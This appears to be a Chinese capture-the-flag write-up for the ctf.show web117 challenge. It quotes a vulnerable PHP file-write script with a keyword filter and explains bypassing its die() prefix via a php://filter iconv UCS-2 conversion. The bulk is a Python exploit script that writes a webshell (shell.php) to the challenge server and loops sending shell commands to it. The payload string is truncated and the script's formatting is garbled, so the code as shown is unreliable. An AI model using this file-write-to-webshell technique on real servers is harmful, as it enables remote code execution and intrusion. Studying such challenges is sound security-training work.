代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
原理和
web87
类型,需要绕过die
死亡程序,但是这次对,传输的内容进行了,不能使用base64
和rot-13
了,采用新的方法,原理在下面参考文章中,这里因为比较繁琐,没有手工去做,用脚本写的。
```python-- coding: utf-8 --
‘’’ @Time : 2021/7/9 11:36 @Author : Seals6 @File : web117.py @contact: 972480239@qq.com @blog: seals6.github.io
-- 功能说明 --
-- 更新说明 --
‘’’
import requests
url=”http://3b868af7-b026-4a3a-a7f9-35982c1d42fa.challenge.ctf.show:8080/“
file_prefix=”php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php”
params={“file”:file_prefix}
data={“contents”:’?
r=requests.post(url=url,params=params,data=data) while True: r1=requests.get(url=url+”shell.php”) if r1.status_code==200: print(“done”) shell = {“cmd”: input(“[*]请输入代码执行内容: “) + “;” + “echo ‘123’;”} r1= requests.post(url=url + “shell.php”, data=shell) if ‘123’ in r1.text: print(r1.text) else: print(“retry”)
else:
print(“retry”)
```
参考文章:
file_put_content和死亡·杂糅代码之缘